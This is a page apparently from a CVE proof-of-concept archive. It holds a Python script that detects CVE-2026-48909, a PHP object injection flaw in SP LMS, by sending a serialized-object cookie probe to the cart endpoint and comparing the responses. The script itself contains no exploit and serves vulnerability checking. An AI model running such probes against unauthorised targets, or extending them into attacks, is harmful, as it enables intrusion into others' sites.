5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-48909.py PY
#!/usr/bin/env python3
"""
CVE-2026-48909 — SP LMS (com_splms) PHP Object Injection Detection
Affected : JoomShaper SP LMS <= 4.1.3
Fixed    : JoomShaper SP LMS >= 4.1.4
Author   : Amin İsayev / Proxima Cyber Security

Detects whether the lmsOrders cookie is passed to unserialize() without
validation. This script only identifies the vulnerability — it does NOT
exploit it and does NOT execute any code on the target.

Usage:
    python3 CVE-2026-48909.py https://target.com
"""

import sys
import time
import base64
import requests
import urllib3
urllib3.disable_warnings()

# com_splms model: $cartItems = unserialize(base64_decode($cookie))
#                  $cartItems = (!is_array($cartItems) && !$cartItems) ? [] : $cartItems;
#                  if(count($cartItems)) { ... }
#
# PROBE  : base64(serialize(stdClass{}))
#   Vulnerable : unserialize() → stdClass → count(stdClass) → PHP 8 TypeError → HTTP 500
#   Patched    : cookie rejected/sanitized → empty array → count([])=0 → HTTP 200
#
# BENIGN : base64("not_php_serialized_data")
#   Any server: unserialize() → false → cartItems=[] → HTTP 200
#
# Signal: probe=500 AND benign=200  →  VULNERABLE
PROBE_SERIALIZED = base64.b64encode(b'O:8:"stdClass":0:{}').decode()
PROBE_BENIGN     = base64.b64encode(b'not_php_serialized_data').decode()

CART_PATH = "/index.php?option=com_splms&view=cart"

TIMEOUT = 10


def detect(base_url: str) -> tuple[bool, str]:
    url = base_url.rstrip("/") + CART_PATH
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
    })

    try:
        # Step 0: baseline — no cookie at all, check if endpoint is healthy
        r_base = session.get(url, timeout=TIMEOUT)
        if r_base.status_code == 404:
            return False, f"SP LMS cart endpoint not found (HTTP 404) — com_splms may not be installed"
        if r_base.status_code >= 500:
            return False, (
                f"Endpoint already returns HTTP {r_base.status_code} without any cookie "
                f"— server is broken/misconfigured, cannot assess vulnerability"
            )
        if r_base.status_code not in (200, 301, 302, 403):
            return False, f"Unexpected HTTP {r_base.status_code} without cookie — skipping"

        # Step 1: benign cookie — base64 of random non-PHP string
        r_benign = session.get(url, cookies={"lmsOrders": PROBE_BENIGN}, timeout=TIMEOUT)

        # Step 2: serialized stdClass probe
        t0 = time.time()
        r_probe = session.get(url, cookies={"lmsOrders": PROBE_SERIALIZED}, timeout=TIMEOUT)
        elapsed = time.time() - t0

    except requests.RequestException as e:
        return False, f"Connection error: {e}"

    # Signal 1 (primary): stdClass → count() TypeError → HTTP 500 (PHP 8)
    # Requires benign=200 AND no-cookie=200 to avoid false positives from Mod_Security/WAF
    if r_probe.status_code == 500 and r_benign.status_code == 200:
        return True, (
            f"HTTP 500 on probe vs 200 on benign "
            f"— unserialize() called on cookie (count(stdClass) TypeError)"
        )

    # Signal 2: PHP error text in probe response
    php_indicators = ["PHP Warning", "PHP Fatal error", "TypeError", "unserialize()"]
    for ind in php_indicators:
        if ind in r_probe.text and ind not in r_benign.text:
            return True, f"PHP error in probe response: '{ind}'"

    # Signal 3: 403 vs 200
    if r_probe.status_code == 403 and r_benign.status_code == 200:
        return True, f"HTTP 403 on probe vs 200 on benign — deserialization side-effect"

    # Signal 4: response body differs significantly between benign and probe
    len_diff = abs(len(r_probe.text) - len(r_benign.text))
    if len_diff > 500 and r_probe.status_code == r_benign.status_code:
        return True, (
            f"Response body differs {len_diff} bytes (probe vs benign) "
            f"— unserialize() processing the cookie"
        )

    # Signal 5: slow response on probe only
    if elapsed > 5.0 and r_benign.status_code == 200:
        return True, f"Abnormal response time {elapsed:.2f}s on probe — deserialization delay"

    return False, (
        f"No vulnerability indicators "
        f"(base={r_base.status_code}, benign={r_benign.status_code}, probe={r_probe.status_code})"
    )


def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        print(f"  Example: {sys.argv[0]} https://example.com")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] Target : {target}")
    print(f"[*] Path   : {CART_PATH}")
    print(f"[*] Probe  : lmsOrders={PROBE_SERIALIZED}")
    print()

    vulnerable, reason = detect(target)

    if vulnerable:
        print(f"[VULNERABLE] {reason}")
        print("[!] Update to SP LMS >= 4.1.4 immediately.")
    else:
        print(f"[NOT VULNERABLE / INCONCLUSIVE] {reason}")

    sys.exit(0 if not vulnerable else 1)


if __name__ == "__main__":
    main()